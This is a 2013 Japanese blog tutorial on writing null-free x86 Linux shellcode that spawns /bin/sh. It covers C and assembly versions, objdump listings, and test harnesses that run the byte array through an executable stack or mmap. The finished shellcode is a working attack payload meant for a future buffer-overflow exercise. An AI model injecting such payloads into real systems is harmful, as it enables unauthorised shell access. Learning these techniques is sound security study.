シェルコードを作成する

投稿者: | 2013年3月22日

ブログ置いてるのに何も書かないのもアレなので何か書いてみる。特に書くことは無いのだけれど、どういうことに興味があるのかわかるといいかなということで、今回はシェルコードの書き方について書くことにした。検索すればもっと洗練されたシェルコードが見つかると思うけど、どのようにして作るのかを知るために自分で作ってみた。この記事ではx86のLinux向けのシェルコードの作り方を書いたので、他の環境向けのシェルコードだと色々違うと思いますが、手順としては大体同じだと思います。

試しにC言語でシェルを起動するコードを書いてみます。execlやsystemなど標準Cライブラリ内の関数を使うより、直接システムコールを呼び出したほうがあとでアセンブリに書きなおす時楽なのでexecveを使用します。

/* shell.c */

#include <unistd.h>

int main(int argc, char** argv[])
{
	char* _argv[] = {"/bin/sh", NULL};
	execve("/bin/sh", _argv, NULL);
}

これをgcc -o shell shell.cでコンパイルして./shellで実行するとシェルが起動します。

次にアセンブリからシステムコールを呼び出す方法です。x86の場合、eaxにシステムコール番号を代入し、int 0x80することでシステムコールを呼び出すことができます。また、ebx,ecx,edxなどに値を代入することで引数を指定することもできます。例としてexitするだけのコードを書いてみました。exitのシステムコール番号は1で、ebxに値を代入することで終了コードを指定することができます。

.file "exit.S"
.intel_syntax noprefix

.section .text
.globl main

main:
	# SYS_exit
	mov eax, 1
	# 終了コードは100
	mov ebx, 100
	int 0x80

これをas --32 exit.S -o exit.o; gcc -m32 exit.o -o exitなどでアセンブル・リンクして./exit; echo $?とすると終了コードとして100が帰ってきているのがわかります。

これでシステムコールの呼び方は分かったので、最初に書いたC言語のコードをアセンブリに書き直してみます。

.file "shell.S"
.intel_syntax noprefix

.section .text
.globl main

main:
	# _argv[0] = command
	lea eax, command
	mov dword ptr [esp-8], eax
	# _argv[1] = NULL
	mov dword ptr [esp-4], 0

	# eax==11: SYS_execve
	mov eax, 11
	# filename
	lea ebx, command
	# argv
	lea ecx, [esp-8]
	# envp
	mov edx, 0
	# システムコール呼び出し
	int 0x80

command:
.asciz "/bin/sh"

as --32 shell.S -o shell.o; gcc -m32 shell.o -o shellでアセンブル・リンクしたあと、./shellでシェルが起動することが確認できます。

これだとシェルコードとして使うには不便なので、commandを使わないように書き換えます。

.file "shell.S"
.intel_syntax noprefix

.section .text
.globl main

main:
	# リトルエンディアンで/bin
	mov dword ptr [esp-16], 0x6e69622f
	# リトルエンディアンで/sh\0
	mov dword ptr [esp-12], 0x0068732f
	# _argv[0] = command
	lea eax, [esp-16]
	mov dword ptr [esp-8], eax
	# _argv[1] = NULL
	mov dword ptr [esp-4], 0

	# eax==11: SYS_execve
	mov eax, 11
	# filename
	lea ebx, [esp-16]
	# argv
	lea ecx, [esp-8]
	# envp
	mov edx, 0
	# システムコール呼び出し
	int 0x80

次にシェルコードに\x00が含まれていると色々めんどくさい場合があるのでコード中から0が無くなるように調整します。objdump -d -Mintel shell.oするとmain関数は以下のように出力されます。

080483d4 <main>:
 80483d4:	c7 44 24 f0 2f 62 69 	mov    DWORD PTR [esp-0x10],0x6e69622f
 80483db:	6e 
 80483dc:	c7 44 24 f4 2f 73 68 	mov    DWORD PTR [esp-0xc],0x68732f
 80483e3:	00 
 80483e4:	8d 44 24 f0          	lea    eax,[esp-0x10]
 80483e8:	89 44 24 f8          	mov    DWORD PTR [esp-0x8],eax
 80483ec:	c7 44 24 fc 00 00 00 	mov    DWORD PTR [esp-0x4],0x0
 80483f3:	00 
 80483f4:	b8 0b 00 00 00       	mov    eax,0xb
 80483f9:	8d 5c 24 f0          	lea    ebx,[esp-0x10]
 80483fd:	8d 4c 24 f8          	lea    ecx,[esp-0x8]
 8048401:	ba 00 00 00 00       	mov    edx,0x0
 8048406:	cd 80                	int    0x80

mov DWORD PTR [esp-0xc],0x68732fmov DWORD PTR [esp-0x4],0x0mov eax,0xbmov edx,0x0に0が含まれるのでうまい具合に書き換えます。

.file "shell.S"
.intel_syntax noprefix

.section .text
.globl main

main:
	# リトルエンディアンで/bin
	mov dword ptr [esp-16], 0x6e69622f
	# リトルエンディアンで/sh\0
	xor eax, eax
	mov ah, 0x68
	shl eax, 8
	mov ax, 0x732f
	mov dword ptr [esp-12], eax
	# _argv[0] = command
	lea eax, [esp-16]
	mov dword ptr [esp-8], eax
	# _argv[1] = NULL
	xor eax, eax
	mov dword ptr [esp-4], eax

	# eax==11: SYS_execve
	mov al, 11
	# filename
	lea ebx, [esp-16]
	# argv
	lea ecx, [esp-8]
	# envp
	xor edx, edx
	# システムコール呼び出し
	int 0x80

これをコンパイルしてobjdumpするとこうなります。

080483d4 <main>:
 80483d4:	c7 44 24 f0 2f 62 69 	mov    DWORD PTR [esp-0x10],0x6e69622f
 80483db:	6e 
 80483dc:	31 c0                	xor    eax,eax
 80483de:	b4 68                	mov    ah,0x68
 80483e0:	c1 e0 08             	shl    eax,0x8
 80483e3:	66 b8 2f 73          	mov    ax,0x732f
 80483e7:	89 44 24 f4          	mov    DWORD PTR [esp-0xc],eax
 80483eb:	8d 44 24 f0          	lea    eax,[esp-0x10]
 80483ef:	89 44 24 f8          	mov    DWORD PTR [esp-0x8],eax
 80483f3:	31 c0                	xor    eax,eax
 80483f5:	89 44 24 fc          	mov    DWORD PTR [esp-0x4],eax
 80483f9:	b0 0b                	mov    al,0xb
 80483fb:	8d 5c 24 f0          	lea    ebx,[esp-0x10]
 80483ff:	8d 4c 24 f8          	lea    ecx,[esp-0x8]
 8048403:	31 d2                	xor    edx,edx
 8048405:	cd 80                	int    0x80

これで\x00が無くなったので、試しにC言語から呼び出してみます。

/* shell2.c */

int main(int argc, char** argv)
{
	char code[] = {
		0xc7, 0x44, 0x24, 0xf0, 0x2f, 0x62, 0x69, 0x6e,
		0x31, 0xc0,
		0xb4, 0x68,
		0xc1, 0xe0, 0x08,
		0x66, 0xb8, 0x2f, 0x73,
		0x89, 0x44, 0x24, 0xf4,
		0x8d, 0x44, 0x24, 0xf0,
		0x89, 0x44, 0x24, 0xf8,
		0x31, 0xc0,
		0x89, 0x44, 0x24, 0xfc,
		0xb0, 0x0b,
		0x8d, 0x5c, 0x24, 0xf0,
		0x8d, 0x4c, 0x24, 0xf8,
		0x31, 0xd2,
		0xcd, 0x80,
	};
	void (*func)(void) = code;
	func();
}

これをgcc -m32 -z execstack shell2.c -o shell2でコンパイルして./shell2で実行すればシェルが起動します。もちろん通常はそのほうが嬉しいのですが、gccはデフォルトでスタック領域を実行しないようにしてしまうようなので、これを実験する場合は-z execstackをつけてスタック領域を実行できるようにしておかなければいけません。

これでシェルコードが出来上がりました。次の記事ではあえて脆弱性のあるプログラムを作成して、そのプログラムでこのシェルコードを実行させたいと思います。

3月24日追記
mmapを使用すれば-z execstackなしでも実行できることに気付いたので参考までに

/* shell2.c */

#include <string.h>
#include <sys/mman.h>

int main(int argc, char** argv)
{
	char orig_code[] = {
		0xc7, 0x44, 0x24, 0xf0, 0x2f, 0x62, 0x69, 0x6e,
		0x31, 0xc0,
		0xb4, 0x68,
		0xc1, 0xe0, 0x08,
		0x66, 0xb8, 0x2f, 0x73,
		0x89, 0x44, 0x24, 0xf4,
		0x8d, 0x44, 0x24, 0xf0,
		0x89, 0x44, 0x24, 0xf8,
		0x31, 0xc0,
		0x89, 0x44, 0x24, 0xfc,
		0xb0, 0x0b,
		0x8d, 0x5c, 0x24, 0xf0,
		0x8d, 0x4c, 0x24, 0xf8,
		0x31, 0xd2,
		0xcd, 0x80,
	};
	char* code;
	code = mmap(
		0, sizeof(orig_code),
		PROT_EXEC | PROT_READ | PROT_WRITE,
		MAP_PRIVATE | MAP_ANONYMOUS,
		-1, 0
	);
	memcpy(code, orig_code, sizeof(orig_code));
	void (*func)(void) = code;
	func();
}

コメントを残す

メールアドレスが公開されることはありません。 * が付いている欄は必須項目です